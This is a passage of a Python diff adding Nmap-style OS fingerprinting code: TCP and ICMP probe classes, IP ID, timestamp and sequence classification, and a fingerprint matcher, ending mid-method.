+    IPID_SEQ_RPI = 3 # Goes up each time but by a "random" positive increment
+    IPID_SEQ_RD = 4 # Appears to select IPID using a "random" distributions (meaning it can go up or down)
+    IPID_SEQ_CONSTANT = 5 # Contains 1 or more sequential duplicates
+    IPID_SEQ_ZERO = 6 # Every packet that comes back has an IP.ID of 0 (eg Linux 2.4 does this)
+
+    def __init__(self, id, addresses, tcp_ports):
+        nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 1)
+        self.t.set_SYN()
+        self.t.set_th_seq(id) # Used to match results with sent packets.
+
+    def process(self, p):
+        raise Exception("Method process is meaningless for class %s." % self.__class__.__name__)
+
+
+class nmap2_seq(nmap2_tcp_probe):
+    TS_SEQ_UNKNOWN = 0
+    TS_SEQ_ZERO = 1 # At least one of the timestamps we received back was 0
+    TS_SEQ_UNSUPPORTED = 5 # System didn't send back a timestamp
+
+    IPID_SEQ_UNKNOWN = 0
+    IPID_SEQ_INCR = 1  # simple increment by one each time
+    IPID_SEQ_BROKEN_INCR = 2 # Stupid MS -- forgot htons() so it counts by 256 on little-endian platforms
+    IPID_SEQ_RPI = 3 # Goes up each time but by a "random" positive increment
+    IPID_SEQ_RD = 4 # Appears to select IPID using a "random" distributions (meaning it can go up or down)
+    IPID_SEQ_CONSTANT = 5 # Contains 1 or more sequential duplicates
+    IPID_SEQ_ZERO = 6 # Every packet that comes back has an IP.ID of 0 (eg Linux 2.4 does this)
+
+    def __init__(self, id, addresses, tcp_ports, options):
+        nmap2_tcp_probe.__init__(self, id, addresses, tcp_ports, 1, 
+                                 id, options)
+        self.t.set_SYN()
+
+    def process(self, p):
+        raise Exception("Method process is meaningless for class %s." % self.__class__.__name__)
+
+class nmap2_seq_1(nmap2_seq):
+    # Packet #1: window scale (10), 
+    #            NOP, 
+    #            MSS (1460), 
+    #            timestamp (TSval: 0xFFFFFFFF; TSecr: 0), 
+    #            SACK permitted. 
+    # The window field is 1.
+    tcp_options = [
+        TCPOption(TCPOption.TCPOPT_WINDOW, 10),
+        TCPOption(TCPOption.TCPOPT_NOP),
+        TCPOption(TCPOption.TCPOPT_MAXSEG, 1460),
+        TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF),
+        TCPOption(TCPOption.TCPOPT_SACK_PERMITTED)
+    ]
+
+    def __init__(self, id, addresses, tcp_ports):
+        nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options)
+        self.t.set_th_win(1)
+
+class nmap2_seq_2(nmap2_seq):
+    # Packet #2: MSS (1400), 
+    #            window scale (0), 
+    #            SACK permitted, 
+    #            timestamp (TSval: 0xFFFFFFFF; TSecr: 0), 
+    #            EOL. 
+    # The window field is 63.
+    tcp_options = [
+        TCPOption(TCPOption.TCPOPT_MAXSEG, 1400),
+        TCPOption(TCPOption.TCPOPT_WINDOW, 0),
+        TCPOption(TCPOption.TCPOPT_SACK_PERMITTED),
+        TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF),
+        TCPOption(TCPOption.TCPOPT_EOL)
+    ]
+
+    def __init__(self, id, addresses, tcp_ports):
+        nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options)
+        self.t.set_th_win(63)
+
+class nmap2_seq_3(nmap2_seq):
+    # Packet #3: Timestamp (TSval: 0xFFFFFFFF; TSecr: 0), 
+    #            NOP, 
+    #            NOP, 
+    #            window scale (5), 
+    #            NOP, 
+    #            MSS (640). 
+    # The window field is 4.
+    tcp_options = [
+        TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF),
+        TCPOption(TCPOption.TCPOPT_NOP),
+        TCPOption(TCPOption.TCPOPT_NOP),
+        TCPOption(TCPOption.TCPOPT_WINDOW, 5),
+        TCPOption(TCPOption.TCPOPT_NOP),
+        TCPOption(TCPOption.TCPOPT_MAXSEG, 640)
+    ]
+
+    def __init__(self, id, addresses, tcp_ports):
+        nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options)
+        self.t.set_th_win(4)
+
+class nmap2_seq_4(nmap2_seq):
+    # Packet #4: SACK permitted, 
+    #            Timestamp (TSval: 0xFFFFFFFF; TSecr: 0), 
+    #            window scale (10), 
+    #            EOL. 
+    # The window field is 4.
+    tcp_options = [
+        TCPOption(TCPOption.TCPOPT_SACK_PERMITTED),
+        TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF),
+        TCPOption(TCPOption.TCPOPT_WINDOW, 10),
+        TCPOption(TCPOption.TCPOPT_EOL)
+    ]
+
+    def __init__(self, id, addresses, tcp_ports):
+        nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options)
+        self.t.set_th_win(4)
+    
+class nmap2_seq_5(nmap2_seq):
+    # Packet #5: MSS (536), 
+    #            SACK permitted,
+    #            Timestamp (TSval: 0xFFFFFFFF; TSecr: 0), 
+    #            window scale (10), 
+    #            EOL. 
+    # The window field is 16.
+    tcp_options = [
+        TCPOption(TCPOption.TCPOPT_MAXSEG, 536),
+        TCPOption(TCPOption.TCPOPT_SACK_PERMITTED),
+        TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF),
+        TCPOption(TCPOption.TCPOPT_WINDOW, 10),
+        TCPOption(TCPOption.TCPOPT_EOL)
+    ]
+
+    def __init__(self, id, addresses, tcp_ports):
+        nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options)
+        self.t.set_th_win(16)
+    
+class nmap2_seq_6(nmap2_seq):
+    # Packet #6: MSS (265), 
+    #            SACK permitted, 
+    #            Timestamp (TSval: 0xFFFFFFFF; TSecr: 0). 
+    # The window field is 512.
+    tcp_options = [
+        TCPOption(TCPOption.TCPOPT_MAXSEG, 265),
+        TCPOption(TCPOption.TCPOPT_SACK_PERMITTED),
+        TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF)
+    ]
+
+    def __init__(self, id, addresses, tcp_ports):
+        nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options)
+        self.t.set_th_win(512)
+
+class nmap1_seq_container(os_id_test):
+    def __init__(self, num_seq_samples, responses, seq_diffs, ts_diffs, time_diffs):
+        os_id_test.__init__(self, 0)
+
+        self.num_seq_samples = num_seq_samples
+        self.seq_responses = responses
+        self.seq_num_responses = len(responses)
+        self.seq_diffs = seq_diffs
+        self.ts_diffs = ts_diffs
+        self.time_diffs = time_diffs
+        self.pre_ts_seqclass = nmap1_seq.TS_SEQ_UNKNOWN
+
+    def test_id(self):
+        return "TSEQ"
+
+    def set_ts_seqclass(self, ts_seqclass):
+        self.pre_ts_seqclass = ts_seqclass
+
+    def process(self):
+        ipid_seqclass = self.ipid_sequence()
+        if nmap1_seq.TS_SEQ_UNKNOWN != self.pre_ts_seqclass:
+            ts_seqclass = self.pre_ts_seqclass
+        else:
+            ts_seqclass = self.ts_sequence()
+        
+        if self.seq_num_responses >= 4:
+            seq_seqclass = self.seq_sequence()
+            if nmap1_seq.SEQ_UNKNOWN != seq_seqclass:
+                self.add_seqclass(seq_seqclass)
+            if nmap1_seq.IPID_SEQ_UNKNOWN != ipid_seqclass:
+                self.add_ipidclass(ipid_seqclass)
+            if nmap1_seq.TS_SEQ_UNKNOWN != ts_seqclass:
+                self.add_tsclass(ts_seqclass)
+        else:
+            LOG.error("Insufficient responses for TCP sequencing (%d out of %d), OS detection may be less accurate."
+                           % (self.seq_num_responses, self.num_seq_samples))
+
+    def get_final_result(self):
+        "Returns a string representation of the final result of this test or None if no response was received"
+        return {self.test_id(): self.get_result_dict()}
+
+    def ipid_sequence(self):
+        if self.seq_num_responses < 2:
+            return nmap1_seq.IPID_SEQ_UNKNOWN
+
+        ipid_diffs = array.array('H', [0] * (self.seq_num_responses - 1))
+
+        null_ipids = 1
+        for i in xrange(1, self.seq_num_responses):
+            prev_ipid = self.seq_responses[i-1].get_ipid()
+            cur_ipid = self.seq_responses[i].get_ipid()
+
+            if cur_ipid < prev_ipid and (cur_ipid > 500 or prev_ipid < 65000):
+                return nmap1_seq.IPID_SEQ_RD
+
+            if prev_ipid != 0 or cur_ipid != 0:
+                null_ipids = 0
+            ipid_diffs[i-1] = abs(cur_ipid - prev_ipid)
+
+        if null_ipids:
+            return nmap1_seq.IPID_SEQ_ZERO
+
+        # Battle plan:
+        # If any diff is > 1000, set to random, if 0, set to constant.
+        # If any of the diffs are 1, or all are less than 9, set to incremental.
+
+        for i in xrange(0, self.seq_num_responses - 1):
+            if ipid_diffs[i] > 1000:
+                return nmap1_seq.IPID_SEQ_RPI
+            if ipid_diffs[i] == 0:
+                return nmap1_seq.IPID_SEQ_CONSTANT
+
+        is_incremental = 1 # All diferences are less than 9
+        is_ms = 1 # All diferences are multiples of 256
+        for i in xrange(0, self.seq_num_responses - 1):
+            if ipid_diffs[i] == 1:
+                return nmap1_seq.IPID_SEQ_INCR
+            if is_ms and ipid_diffs[i] < 2560 and (ipid_diffs[i] % 256) != 0:
+                is_ms = 0
+            if ipid_diffs[i] > 9:
+                is_incremental = 0
+
+        if is_ms:
+            return nmap1_seq.IPID_SEQ_BROKEN_INCR
+        if is_incremental:
+            return nmap1_seq.IPID_SEQ_INCR
+
+        return nmap1_seq.IPID_SEQ_UNKNOWN
+
+    def ts_sequence(self):
+        if self.seq_num_responses < 2:
+            return nmap1_seq.TS_SEQ_UNKNOWN
+
+        # Battle plan:
+        # 1) Compute average increments per second, and variance in incr. per second.
+        # 2) If any are 0, set to constant.
+        # 3) If variance is high, set to random incr. [ skip for now ]
+        # 4) if ~10/second, set to appropriate thing.
+        # 5) Same with ~100/s.
+
+        avg_freq = 0.0
+        for i in xrange(0, self.seq_num_responses - 1):
+            dhz = self.ts_diffs[i] / self.time_diffs[i]
+            avg_freq += dhz / (self.seq_num_responses - 1)
+
+        LOG.info("The avg TCP TS HZ is: %f" % avg_freq)
+
+        if 0 < avg_freq < 3.9:
+            return nmap1_seq.TS_SEQ_2HZ
+        if 85 < avg_freq < 115:
+            return nmap1_seq.TS_SEQ_100HZ
+        if 900 < avg_freq < 1100:
+            return nmap1_seq.TS_SEQ_1000HZ
+
+        return nmap1_seq.TS_SEQ_UNKNOWN
+
+    def seq_sequence(self):
+        self.seq_gcd = reduce(my_gcd, self.seq_diffs)
+        avg_incr = 0
+        seqclass = nmap1_seq.SEQ_UNKNOWN
+
+        if 0 != self.seq_gcd:
+            map(lambda x, gcd = self.seq_gcd: x / gcd, self.seq_diffs)
+            for i in xrange(0, self.seq_num_responses - 1):
+                if abs(self.seq_responses[i+1].get_seq() - self.seq_responses[i].get_seq()) > 50000000:
+                    seqclass = nmap1_seq.SEQ_TR;
+                    self.index = 9999999
+                    break
+                avg_incr += self.seq_diffs[i]
+
+        if 0 == self.seq_gcd:
+            seqclass = nmap1_seq.SEQ_CONSTANT
+            self.index = 0
+        elif 0 == self.seq_gcd % 64000:
+            seqclass = nmap1_seq.SEQ_64K
+            self.index = 1
+        elif 0 == self.seq_gcd % 800:
+            seqclass = nmap1_seq.SEQ_i800
+            self.index = 10
+        elif nmap1_seq.SEQ_UNKNOWN == seqclass:
+            avg_incr = int(.5 + avg_incr / (self.seq_num_responses - 1))
+            sum_incr = 0.0
+            for i in range(0, self.seq_num_responses - 1):
+                d = abs(self.seq_diffs[i] - avg_incr)
+                sum_incr += float(d * d)
+            sum_incr /= self.seq_num_responses - 1
+            self.index = int(.5 + math.sqrt(sum_incr))
+            if self.index < 75:
+                seqclass = nmap1_seq.SEQ_TD
+            else:
+                seqclass = nmap1_seq.SEQ_RI
+
+        return seqclass
+
+    seqclasses = {
+        nmap1_seq.SEQ_64K: '64K',
+        nmap1_seq.SEQ_TD: 'TD',
+        nmap1_seq.SEQ_RI: 'RI',
+        nmap1_seq.SEQ_TR: 'TR',
+        nmap1_seq.SEQ_i800: 'i800',
+        nmap1_seq.SEQ_CONSTANT: 'C',
+        }
+
+    def add_seqclass(self, id):
+        self.add_result('CLASS', nmap1_seq_container.seqclasses[id])
+
+        if nmap1_seq.SEQ_CONSTANT == id:
+            self.add_result('VAL', '%i' % self.seq_responses[0].get_seq())
+        elif id in (nmap1_seq.SEQ_TD, nmap1_seq.SEQ_RI):
+            self.add_result('GCD', '%i' % self.seq_gcd)
+            self.add_result('SI', '%i' % self.index)
+
+    tsclasses = {
+        nmap1_seq.TS_SEQ_ZERO: '0',
+        nmap1_seq.TS_SEQ_2HZ: '2HZ',
+        nmap1_seq.TS_SEQ_100HZ: '100HZ',
+        nmap1_seq.TS_SEQ_1000HZ: '1000HZ',
+        nmap1_seq.TS_SEQ_UNSUPPORTED: 'U',
+        }
+
+    def add_tsclass(self, id):
+        self.add_result('TS', nmap1_seq_container.tsclasses[id])
+
+    ipidclasses = {
+        nmap1_seq.IPID_SEQ_INCR: 'I',
+        nmap1_seq.IPID_SEQ_BROKEN_INCR: 'BI',
+        nmap1_seq.IPID_SEQ_RPI: 'RPI',
+        nmap1_seq.IPID_SEQ_RD: 'RD',
+        nmap1_seq.IPID_SEQ_CONSTANT: 'C',
+        nmap1_seq.IPID_SEQ_ZERO: 'Z',
+        }
+
+    def add_ipidclass(self, id):
+        self.add_result('IPID', nmap1_seq_container.ipidclasses[id])
+
+
+class nmap2_seq_container(os_id_test):
+    def __init__(self, num_seq_samples, responses, seq_diffs, ts_diffs, time_diffs):
+        os_id_test.__init__(self, 0)
+
+        self.num_seq_samples = num_seq_samples
+        self.seq_responses = responses
+        self.seq_num_responses = len(responses)
+        self.seq_diffs = seq_diffs
+        self.ts_diffs = ts_diffs
+        self.time_diffs = time_diffs
+        self.pre_ts_seqclass = nmap2_seq.TS_SEQ_UNKNOWN
+
+    def test_id(self):
+        return "SEQ"
+
+    def set_ts_seqclass(self, ts_seqclass):
+        self.pre_ts_seqclass = ts_seqclass
+
+    def process(self):
+        if self.seq_num_responses >= 4:
+            self.calc_ti()
+            self.calc_ts()
+            self.calc_sp()
+        else:
+            self.add_result('R', 'N')
+            LOG.error("Insufficient responses for TCP sequencing (%d out of %d), OS detection may be less accurate."
+                           % (self.seq_num_responses, self.num_seq_samples))
+
+    def get_final_result(self):
+        return {self.test_id(): self.get_result_dict()}
+
+    def calc_ti(self):
+        if self.seq_num_responses < 2: 
+            return
+
+        ipidclasses = {
+            nmap2_seq.IPID_SEQ_INCR: 'I',
+            nmap2_seq.IPID_SEQ_BROKEN_INCR: 'BI',
+            nmap2_seq.IPID_SEQ_RPI: 'RI',
+            nmap2_seq.IPID_SEQ_RD: 'RD',
+            nmap2_seq.IPID_SEQ_CONSTANT: 'C',
+            nmap2_seq.IPID_SEQ_ZERO: 'Z',
+        }
+
+        ipid_diffs = array.array('H', [0] * (self.seq_num_responses - 1))
+
+        # Random and zero
+        null_ipids = 1
+        for i in xrange(1, self.seq_num_responses):
+            prev_ipid = self.seq_responses[i-1].get_ipid()
+            cur_ipid = self.seq_responses[i].get_ipid()
+
+            if prev_ipid != 0 or cur_ipid != 0: 
+                null_ipids = 0
+
+            if prev_ipid <= cur_ipid:
+                ipid_diffs[i-1] = cur_ipid - prev_ipid
+            else:
+                ipid_diffs[i-1] = (cur_ipid - prev_ipid + 65536) & 0xffff
+
+            if self.seq_num_responses > 2 and ipid_diffs[i-1] > 20000:
+                self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_RD])
+                return
+
+        if null_ipids: 
+            self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_ZERO])
+            return
+
+        # Constant
+        all_zero = 1
+        for i in xrange(0, self.seq_num_responses - 1):
+            if ipid_diffs[i] != 0: 
+                all_zero = 0
+                break
+
+        if all_zero:
+            self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_CONSTANT])
+            return
+
+        # Random positive increments
+        for i in xrange(0, self.seq_num_responses - 1):
+            if ipid_diffs[i] > 1000 and \
+               ((ipid_diffs[i] % 256 != 0) or \
+                ((ipid_diffs[i] % 256 == 0) and (ipid_diffs[i] >= 25600))):
+                self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_RPI])
+                return
+
+        # Broken Increment and Incremental
+        is_incremental = 1 # All diferences are less than 10
+        is_ms = 1 # All diferences are multiples of 256 and no greater than 5120
+        for i in xrange(0, self.seq_num_responses - 1):
+            if is_ms and ((ipid_diffs[i] > 5120) or (ipid_diffs[i] % 256) != 0): 
+                is_ms = 0
+            if is_incremental and ipid_diffs[i] > 9: 
+                is_incremental = 0
+
+        if is_ms: 
+            self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_BROKEN_INCR])
+        elif is_incremental: 
+            self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_INCR])
+
+    def calc_ts(self):
+        # 1. If any of the responses have no timestamp option, TS 
+        #    is set to U (unsupported).
+        # 2. If any of the timestamp values are zero, TS is set to 0.
+        # 3. If the average increments per second falls within the 
+        #    ranges 0-5.66, 70-150, or 150-350, TS is set to 1, 7, or 8, 
+        #    respectively. These three ranges get special treatment 
+        #    because they correspond to the 2 Hz, 100 Hz, and 200 Hz 
+        #    frequencies used by many hosts.
+        # 4. In all other cases, Nmap records the binary logarithm of 
+        #    the average increments per second, rounded to the nearest 
+        #    integer. Since most hosts use 1,000 Hz frequencies, A is 
+        #    a common result.
+
+        if self.pre_ts_seqclass == nmap2_seq.TS_SEQ_ZERO: 
+            self.add_result('TS', '0')
+        elif self.pre_ts_seqclass == nmap2_seq.TS_SEQ_UNSUPPORTED: 
+            self.add_result('TS', 'U')
+        elif self.seq_num_responses < 2: 
+            return
+
+        avg_freq = 0.0
+        for i in xrange(0, self.seq_num_responses - 1):
+            dhz = self.ts_diffs[i] / self.time_diffs[i]
+            avg_freq += dhz / (self.seq_num_responses - 1)
+
+        LOG.info("The avg TCP TS HZ is: %f" % avg_freq)
+
+        if avg_freq <= 5.66: 
+            self.add_result('TS', "1")
+        elif 70 < avg_freq <= 150:
+            self.add_result('TS', "7")
+        elif 150 < avg_freq <= 350:
+            self.add_result('TS', "8")
+        else:
+            ts = int(round(.5 + math.log(avg_freq)/math.log(2)))
+            self.add_result('TS', "%X" % ts)
+
+    def calc_sp(self):
+        seq_gcd = reduce(my_gcd, self.seq_diffs)
+
+        seq_avg_rate = 0.0
+        for i in xrange(0, self.seq_num_responses - 1):
+            seq_avg_rate += self.seq_diffs[i] / self.time_diffs[i]
+        seq_avg_rate /= (self.seq_num_responses - 1)
+
+        seq_rate = seq_avg_rate
+        si_index = 0
+        seq_stddev = 0
+
+        if 0 == seq_gcd:
+            seq_rate = 0
+        else:
+            seq_rate = int(round(.5 + (math.log(seq_rate) / math.log(2)) * 8))
+
+            div_gcd = 1
+            if seq_gcd > 9:
+                div_gcd = seq_gcd
+
+            for i in xrange(0, self.seq_num_responses - 1):
+                rtmp = (self.seq_diffs[i] / self.time_diffs[i]) / div_gcd - \
+                       seq_avg_rate / div_gcd
+                seq_stddev += rtmp * rtmp
+
+            seq_stddev /= self.seq_num_responses - 2
+            seq_stddev = math.sqrt(seq_stddev)
+
+            if seq_stddev <= 1:
+                si_index = 0
+            else:
+                si_index = int(round(.5 + (math.log(seq_stddev) / math.log(2)) * 8.0))
+
+        self.add_result('SP', "%X" % si_index)
+        self.add_result('GCD', "%X" % seq_gcd)
+        self.add_result('ISR', "%X" % seq_rate)
+
+class nmap2_ops_container(os_id_test):
+    def __init__(self, responses):
+        os_id_test.__init__(self, 0)
+
+        self.seq_responses = responses
+        self.seq_num_responses = len(responses)
+
+    def test_id(self):
+        return "OPS"
+
+    def process(self):
+        if self.seq_num_responses != 6:
+            self.add_result('R', 'N')
+            return
+
+        for i in xrange(0, self.seq_num_responses):
+            tests = nmap2_tcp_tests(self.seq_responses[i].get_ip(),
+                                    self.seq_responses[i].get_tcp(),
+                                    0,
+                                    0)
+            self.add_result("O%i" % (i+1), tests.get_options())
+
+    def get_final_result(self):
+        if not self.get_result_dict():
+            return None
+        else:
+            return {self.test_id(): self.get_result_dict()}
+
+class nmap2_win_container(os_id_test):
+    def __init__(self, responses):
+        os_id_test.__init__(self, 0)
+
+        self.seq_responses = responses
+        self.seq_num_responses = len(responses)
+
+    def test_id(self):
+        return "WIN"
+
+    def process(self):
+        if self.seq_num_responses != 6:
+            self.add_result('R', 'N')
+            return
+
+        for i in xrange(0, self.seq_num_responses):
+            tests = nmap2_tcp_tests(self.seq_responses[i].get_ip(),
+                                    self.seq_responses[i].get_tcp(),
+                                    0,
+                                    0)
+            self.add_result("W%i" % (i+1), tests.get_win())
+
+    def get_final_result(self):
+        if not self.get_result_dict():
+            return None
+        else:
+            return {self.test_id(): self.get_result_dict()}
+
+class nmap2_t1_container(os_id_test):
+    def __init__(self, responses, seq_base):
+        os_id_test.__init__(self, 0)
+
+        self.seq_responses = responses
+        self.seq_num_responses = len(responses)
+        self.seq_base = seq_base
+
+    def test_id(self):
+        return "T1"
+
+    def process(self):
+        # R, DF, T*, TG*, W-, S, A, F, O-, RD*, Q
+        if self.seq_num_responses < 1:
+            self.add_result("R","N")
+            return
+
+        response = self.seq_responses[0]
+        tests = nmap2_tcp_tests(response.get_ip(), 
+                                response.get_tcp(), 
+                                self.seq_base,
+                                nmap2_tcp_probe.acknowledgment)
+        self.add_result("R", "Y")
+        self.add_result("DF", tests.get_df())
+        self.add_result("S", tests.get_seq())
+        self.add_result("A", tests.get_ack())
+        self.add_result("F", tests.get_flags())
+        self.add_result("Q", tests.get_quirks())
+
+    def get_final_result(self):
+        if not self.get_result_dict():
+            return None
+        else:
+            return {self.test_id(): self.get_result_dict()}
+
+class nmap2_icmp_container(os_id_test):
+    def __init__(self, responses):
+        os_id_test.__init__(self, 0)
+
+        self.icmp_responses = responses
+        self.icmp_num_responses = len(responses)
+
+    def test_id(self):
+        return "IE"
+
+    def process(self):
+        # R, DFI, T*, TG*, TOSI, CD, SI, DLI*
+        if self.icmp_num_responses != 2:
+            self.add_result("R","N")
+            return
+
+        ip1 = self.icmp_responses[0].child()
+        ip2 = self.icmp_responses[1].child()
+        icmp1 = ip1.child()
+        icmp2 = ip2.child()
+
+        self.add_result("R", "Y")
+
+        # Value	Description
+        # N	    Neither of the ping responses have the DF bit set.
+        # S	    Both responses echo the DF value of the probe.
+        # Y	    Both of the response DF bits are set.
+        # O	    The one remaining other combination-both responses have the DF bit toggled.
+        if not ip1.get_ip_df() and not ip2.get_ip_df():
+            self.add_result("DFI","N")
+        elif ip1.get_ip_df() and not ip2.get_ip_df():
+            self.add_result("DFI","S")
+        elif ip1.get_ip_df() and ip2.get_ip_df():
+            self.add_result("DFI","Y")
+        else:
+            self.add_result("DFI","O")
+
+        # Value	Description
+        # Z	    Both TOS values are zero.
+        # S	    Both TOS values are each the same as in the corresponding probe.
+        # <NN>	When they both use the same non-zero number, it is recorded here.
+        # O	    Any other combination.
+        if ip1.get_ip_tos() == 0 and ip2.get_ip_tos() == 0:
+            self.add_result("TOSI","Z")
+        elif ip1.get_ip_tos() == 0 and ip2.get_ip_tos() == 4:
+            self.add_result("TOSI","S")
+        elif ip1.get_ip_tos() == ip2.get_ip_tos():
+            self.add_result("TOSI","%X" % ip1.get_ip_tos())
+        else:
+            self.add_result("TOSI","O")
+        
+        # Value	Description
+        # Z	    Both code values are zero.
+        # S	    Both code values are the same as in the corresponding probe.
+        # <NN>	When they both use the same non-zero number, it is shown here.
+        # O	    Any other combination.
+        if icmp1.get_icmp_code() == 0 and icmp2.get_icmp_code() == 0:
+            self.add_result("CD","Z")
+        elif icmp1.get_icmp_code() == 9 and icmp2.get_icmp_code() == 0:
+            self.add_result("CD","S")
+        elif icmp1.get_icmp_code() == icmp2.get_icmp_code():
+            self.add_result("CD","%X" % icmp1.get_icmp_code())
+        else:
+            self.add_result("CD","O")
+        
+        # Value	Description
+        # Z	    Both sequence numbers are set to 0.
+        # S	    Both sequence numbers echo the ones from the probes.
+        # <NNNN> When they both use the same non-zero number, it is recorded here.
+        # O	    Any other combination.
+        if icmp1.get_icmp_seq() == 0 and icmp2.get_icmp_seq() == 0:
+            self.add_result("SI","Z")
+        elif (icmp1.get_icmp_seq() == nmap2_icmp_echo_probe_1.sequence_number and 
+              icmp2.get_icmp_seq() == nmap2_icmp_echo_probe_1.sequence_number + 1):
+            self.add_result("SI","S")
+        elif icmp1.get_icmp_seq() == icmp2.get_icmp_seq():
+            self.add_result("SI","%X" % icmp1.get_icmp_code())
+        else:
+            self.add_result("SI","O")
+
+    def get_final_result(self):
+        if not self.get_result_dict():
+            return None
+        else:
+            return {self.test_id(): self.get_result_dict()}
+
+class nmap1_tcp_closed_1(nmap1_tcp_probe):
+    def __init__(self, id, addresses, tcp_ports):
+        nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 0)
+        self.t.set_SYN()
+
+    def test_id(self):
+        return "T5"
+
+    def is_mine(self, packet):
+        if tcp_probe.is_mine(self, packet):
+            ip = packet.child()
+            if not ip:
+                return 0
+            tcp = ip.child()
+            if not tcp:
+                return 0
+            if tcp.get_RST():
+                return 1
+            else:
+                return 0
+        else:
+            return 0
+
+class nmap2_tcp_closed_1(nmap2_tcp_probe_2_6):
+    # ...
+    # T5 sends a TCP SYN packet without IP DF and a window field of 
+    # 31337 to a closed port
+    # ...
+    def __init__(self, id, addresses, tcp_ports):
+        nmap2_tcp_probe_2_6.__init__(self, id, addresses, tcp_ports, 0)
+        self.t.set_SYN()
+        self.i.set_ip_df(0)
+        self.t.set_th_win(31337)
+
+    def test_id(self):
+        return "T5"
+
+
+class nmap1_tcp_closed_2(nmap1_tcp_probe):
+
+    def __init__(self, id, addresses, tcp_ports):
+        nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 0)
+        self.t.set_ACK()
+
+    def test_id(self):
+        return "T6"
+
+
+class nmap2_tcp_closed_2(nmap2_tcp_probe_2_6):
+    # ...
+    # T6 sends a TCP ACK packet with IP DF and a window field of 
+    # 32768 to a closed port.
+    # ...
+    def __init__(self, id, addresses, tcp_ports):
+        nmap2_tcp_probe_2_6.__init__(self, id, addresses, tcp_ports, 0)
+        self.t.set_ACK()
+        self.i.set_ip_df(1)
+        self.t.set_th_win(32768)
+
+    def test_id(self):
+        return "T6"
+
+
+class nmap1_tcp_closed_3(nmap1_tcp_probe):
+
+    def __init__(self, id, addresses, tcp_ports):
+        nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 0)
+        self.t.set_FIN()
+        self.t.set_URG()
+        self.t.set_PSH()
+
+    def test_id(self):
+        return "T7"
+
+
+class nmap2_tcp_closed_3(nmap2_tcp_probe_7):
+    # ...
+    # T7 sends a TCP packet with the FIN, PSH, and URG flags set and a 
+    # window field of 65535 to a closed port. The IP DF bit is not set.
+    # ...
+    def __init__(self, id, addresses, tcp_ports):
+        nmap2_tcp_probe_7.__init__(self, id, addresses, tcp_ports, 0)
+        self.t.set_FIN()
+        self.t.set_URG()
+        self.t.set_PSH()
+        self.t.set_th_win(65535)
+        self.i.set_ip_df(0)
+
+    def test_id(self):
+        return "T7"
+
+
+class NMAP2_OS_Class:
+    def __init__(self, vendor, name, family, device_type):
+        self.__vendor = vendor
+        self.__name = name
+        self.__family = family
+        self.__device_type = device_type
+
+    def get_vendor(self):
+        return self.__vendor
+    def get_name(self):
+        return self.__name
+    def get_family(self):
+        return self.__family
+    def get_device_type(self):
+        return self.__device_type
+
+class NMAP2_Fingerprint:
+    def __init__(self, id, os_class, tests):
+        self.__id = id
+        self.__os_class = os_class
+        self.__tests = tests
+
+    def get_id(self):
+        return self.__id
+    def get_os_class(self):
+        return self.__os_class
+    def get_tests(self):
+        return self.__tests
+
+    def __str__(self):
+        ret = "FP: [%s]" % self.__id
+        ret += "\n vendor: %s" % self.__os_class.get_vendor()
+        ret += "\n name: %s" % self.__os_class.get_name()
+        ret += "\n family: %s" % self.__os_class.get_family()
+        ret += "\n device_type: %s" % self.__os_class.get_device_type()
+
+        for test in self.__tests:
+            ret += "\n  test: %s" % test
+            for pair in self.__tests[test]:
+                ret += "\n   %s = [%s]" % (pair, self.__tests[test][pair])
+
+        return ret
+
+    literal_conv = { "RIPL" : { "G" : 0x148 },
+                     "RID" : { "G" : 0x1042 },
+                     "RUL" : { "G" : 0x134 } }
+
+    def parse_int(self, field, value):
+        try:
+            return int(value, 16)
+        except ValueError:
+            if field in NMAP2_Fingerprint.literal_conv:
+                if value in NMAP2_Fingerprint.literal_conv[field]:
+                    return NMAP2_Fingerprint.literal_conv[field][value]
+            return 0
+
+    def match(self, field, ref, value):
+        options = ref.split("|")
+
+        for option in options:
+            if option.startswith(">"):
+                if self.parse_int(field, value) > \
+                   self.parse_int(field, option[1:]):
+                    return True
+            elif option.startswith("<"):
+                if self.parse_int(field, value) < \
+                   self.parse_int(field, option[1:]):
+                    return True
+            elif option.find("-") > -1:
+                range = option.split("-")
+                if self.parse_int (field, value) >= self.parse_int (field, range[0]) and \
+                        self.parse_int (field, value) <= self.parse_int (field, range[1]):
+                    return True
+            else:
+                if str(value) == str(option):
+                    return True
+
+        return False
+
+    def compare(self, sample, mp):
+        max_points = 0
+        total_points = 0
+
+        for test in self.__tests:
+            # ignore unknown response lines:
+            if test not in sample:
+                continue
+        
+            for field in self.__tests[test]:
+                    # ignore unsupported fields:
+                if field not in sample[test] or \
+                   test not in mp or \
+                   field not in mp[test]:
+                    continue
+            
+                ref = self.__tests[test][field]
+                value = sample[test][field]
+
+                points = int(mp[test][field])
+
+                max_points += points
+
+                if self.match(field, ref, value):
+                    total_points += points
+
+        return (total_points / float(max_points)) * 100
+
+class NMAP2_Fingerprint_Matcher:
+    def __init__(self, filename):
+        self.__filename = filename                
+
+    def find_matches(self, res, threshold):
+        output = []
+
+        try:
+            infile = open(self.__filename,"r")
+    
+            mp = self.parse_mp(self.matchpoints(infile))
+
+            for fingerprint in self.fingerprints(infile):
